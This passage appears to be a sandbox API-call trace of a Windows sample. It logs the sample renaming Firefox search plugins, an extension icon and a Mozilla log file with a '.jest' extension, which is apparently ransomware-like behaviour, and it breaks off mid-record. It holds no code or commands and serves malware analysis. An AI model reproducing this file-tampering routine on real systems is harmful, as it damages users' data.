[0130.335] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.335] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.335] GetTickCount () returned 0x1152fe7 [0130.335] IsWindowVisible (hWnd=0x30268) returned 0 [0130.335] Sleep (dwMilliseconds=0x0) [0130.336] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml.jest")) returned 1 [0130.337] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml", lpFilePart=0x18e6d8*="wikipedia.xml") returned 0x4a [0130.337] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.337] GetLastError () returned 0x2 [0130.337] VarBstrFromR4 (in: fltIn=0x47944713, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.15") returned 0x0 [0130.338] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.338] CoFreeUnusedLibraries () [0130.338] GetTickCount () returned 0x1152fe7 [0130.338] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.338] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.338] GetTickCount () returned 0x1152fe7 [0130.338] IsWindowVisible (hWnd=0x30268) returned 0 [0130.338] Sleep (dwMilliseconds=0x0) [0130.338] GetFullPathNameA (in: lpFileName="GeD4H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GeD4H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp", lpFilePart=0x18e708*="GeD4H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp") returned 0x8c [0130.339] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml", lpFilePart=0x18e708*="wikipedia.xml") returned 0x4a [0130.339] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GeD4H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ged4h7qz-an1txtcd4bcuu9wm6j-dm7uvtnnavy4x4br1z9ynv3kdphjsjohdxbco75og5-u0x-d4kzm15xrp94iedncvfwlqi.tmp")) returned 0 [0130.339] GetLastError () returned 0x2 [0130.339] GetLastError () returned 0x2 [0130.340] SetLastError (dwErrCode=0x2) [0130.340] GetLastError () returned 0x2 [0130.340] SetLastError (dwErrCode=0x2) [0130.340] GetLastError () returned 0x2 [0130.340] SetLastError (dwErrCode=0x2) [0130.340] GetFullPathNameA (in: lpFileName="GeD4H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GeD4H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp", lpFilePart=0x18e6e4*="GeD4H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp") returned 0x8c [0130.340] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GeD4H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x34446547, cFileName="H7qZ-An1tXtCD4bCuU9wm6J-Dm7uvtNnaVy4x4br1Z9yNV3kdPHjsjohDXBcO75OG5-U0X-D4KZM15Xrp94ieDNCvFwlQI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.340] GetLastError () returned 0x2 [0130.340] GetLastError () returned 0x2 [0130.340] SetLastError (dwErrCode=0x2) [0130.341] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.341] CoFreeUnusedLibraries () [0130.341] GetTickCount () returned 0x1152fe7 [0130.341] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.341] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.341] GetTickCount () returned 0x1152fe7 [0130.342] IsWindowVisible (hWnd=0x30268) returned 0 [0130.342] Sleep (dwMilliseconds=0x0) [0130.342] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml.jest")) returned 1 [0130.343] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml", lpFilePart=0x18e6d8*="yahoo.xml") returned 0x46 [0130.343] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.343] GetLastError () returned 0x2 [0130.344] VarBstrFromR4 (in: fltIn=0x47944713, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.15") returned 0x0 [0130.344] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.344] CoFreeUnusedLibraries () [0130.344] GetTickCount () returned 0x1152fe7 [0130.344] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.344] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.344] GetTickCount () returned 0x1152fe7 [0130.344] IsWindowVisible (hWnd=0x30268) returned 0 [0130.344] Sleep (dwMilliseconds=0x0) [0130.345] GetFullPathNameA (in: lpFileName="SRTUppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SRTUppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp", lpFilePart=0x18e708*="SRTUppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp") returned 0x8e [0130.345] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml", lpFilePart=0x18e708*="yahoo.xml") returned 0x46 [0130.346] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SRTUppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\srtuppm7slgzbretcdzxeotbyucu6fky55phnokcsqw62ckw6gcztbj4nrchmfxh4lfb-oectpimkkwdfglr4avaiqlswtr3z8xx.tmp")) returned 0 [0130.346] GetLastError () returned 0x2 [0130.346] GetLastError () returned 0x2 [0130.346] SetLastError (dwErrCode=0x2) [0130.346] GetLastError () returned 0x2 [0130.346] SetLastError (dwErrCode=0x2) [0130.346] GetLastError () returned 0x2 [0130.346] SetLastError (dwErrCode=0x2) [0130.346] GetFullPathNameA (in: lpFileName="SRTUppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SRTUppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp", lpFilePart=0x18e6e4*="SRTUppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp") returned 0x8e [0130.346] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SRTUppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x55545253, cFileName="ppm7SlGZBrEtcdZXEOtbyUCu6fkY55PHnoKcSQW62ckW6GCzTbJ4nRchMfXh4lFb-oECtpimKkWdFgLR4AvAIqLSWTR3Z8xX.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.347] GetLastError () returned 0x2 [0130.347] GetLastError () returned 0x2 [0130.347] SetLastError (dwErrCode=0x2) [0130.348] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.349] CoFreeUnusedLibraries () [0130.349] GetTickCount () returned 0x1152fe7 [0130.349] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.349] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.349] GetTickCount () returned 0x1152fe7 [0130.349] IsWindowVisible (hWnd=0x30268) returned 0 [0130.349] Sleep (dwMilliseconds=0x0) [0130.349] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png.jest")) returned 1 [0130.350] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x69 [0130.351] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xa00000a, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x14460d8, ftLastAccessTime.dwLowDateTime=0x14ab418, ftLastAccessTime.dwHighDateTime=0x14b2b68, ftLastWriteTime.dwLowDateTime=0x50, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x40, nFileSizeLow=0x1445ff0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.351] GetLastError () returned 0x2 [0130.351] VarBstrFromR4 (in: fltIn=0x47944713, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.15") returned 0x0 [0130.351] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.352] CoFreeUnusedLibraries () [0130.352] GetTickCount () returned 0x1152fe7 [0130.352] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.352] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.352] GetTickCount () returned 0x1152fe7 [0130.352] IsWindowVisible (hWnd=0x30268) returned 0 [0130.352] Sleep (dwMilliseconds=0x0) [0130.352] GetFullPathNameA (in: lpFileName="wG1jYLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wG1jYLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp", lpFilePart=0x18e708*="wG1jYLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp") returned 0x8e [0130.353] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x69 [0130.353] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wG1jYLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wg1jylyzou2aguz_6_4849boo789mxib40hi2zcoibwuyge1-eisjhezqmsffabw4pyyxv0mfrnytj9mj1y_yoonef2fl8tc17bk.tmp")) returned 0 [0130.353] GetLastError () returned 0x2 [0130.353] GetLastError () returned 0x2 [0130.353] SetLastError (dwErrCode=0x2) [0130.353] GetLastError () returned 0x2 [0130.354] SetLastError (dwErrCode=0x2) [0130.354] GetLastError () returned 0x2 [0130.354] SetLastError (dwErrCode=0x2) [0130.354] GetFullPathNameA (in: lpFileName="wG1jYLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wG1jYLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp", lpFilePart=0x18e6e4*="wG1jYLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp") returned 0x8e [0130.354] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wG1jYLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6a314777, cFileName="YLyZoU2AGUZ_6_4849boO789mxiB40hI2zcoibWuygE1-eIsjHeZqmSffABw4PYyXv0MfrNYtj9mj1y_yoONEf2FL8TC17Bk.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.354] GetLastError () returned 0x2 [0130.354] GetLastError () returned 0x2 [0130.354] SetLastError (dwErrCode=0x2) [0130.364] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.364] CoFreeUnusedLibraries () [0130.364] GetTickCount () returned 0x1153006 [0130.364] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.364] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.364] GetTickCount () returned 0x1153006 [0130.364] IsWindowVisible (hWnd=0x30268) returned 0 [0130.364] Sleep (dwMilliseconds=0x0) [0130.365] MoveFileA (lpExistingFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.jest" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log.jest")) returned 1 [0130.366] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log", lpFilePart=0x18e6d8*="maintenanceservice-install.log") returned 0x3a [0130.366] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.366] GetLastError () returned 0x2 [0130.366] VarBstrFromR4 (in: fltIn=0x47944717, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.18") returned 0x0 [0130.367] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.367] CoFreeUnusedLibraries () [0130.367] GetTickCount () returned 0x1153006 [0130.367] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.367] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.367] GetTickCount () returned 0x1153006 [0130.367] IsWindowVisible (hWnd=0x30268) returned 0 [0130.367] Sleep (dwMilliseconds=0x0) [0130.368] GetFullPathNameA (in: lpFileName="b9QtPqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b9QtPqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp", lpFilePart=0x18e708*="b9QtPqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp") returned 0x8f [0130.368] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log", lpFilePart=0x18e708*="maintenanceservice-install.log") returned 0x3a [0130.368] MoveFileA (lpExistingFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b9QtPqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b9qtpqku7r-xqp208u3trd5p-j6g6tony6eofqc_2j w4lldftcgyh8ijt8humguyrqakdxyh5w6jgu5verp8khrlgd 2bu4iowpx.tmp")) returned 0 [0130.368] GetLastError () returned 0x2 [0130.368] GetLastError () returned 0x2 [0130.368] SetLastError (dwErrCode=0x2) [0130.368] GetLastError () returned 0x2 [0130.368] SetLastError (dwErrCode=0x2) [0130.368] GetLastError () returned 0x2 [0130.369] SetLastError (dwErrCode=0x2) [0130.369] GetFullPathNameA (in: lpFileName="b9QtPqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b9QtPqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp", lpFilePart=0x18e6e4*="b9QtPqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp") returned 0x8f [0130.369] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b9QtPqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, 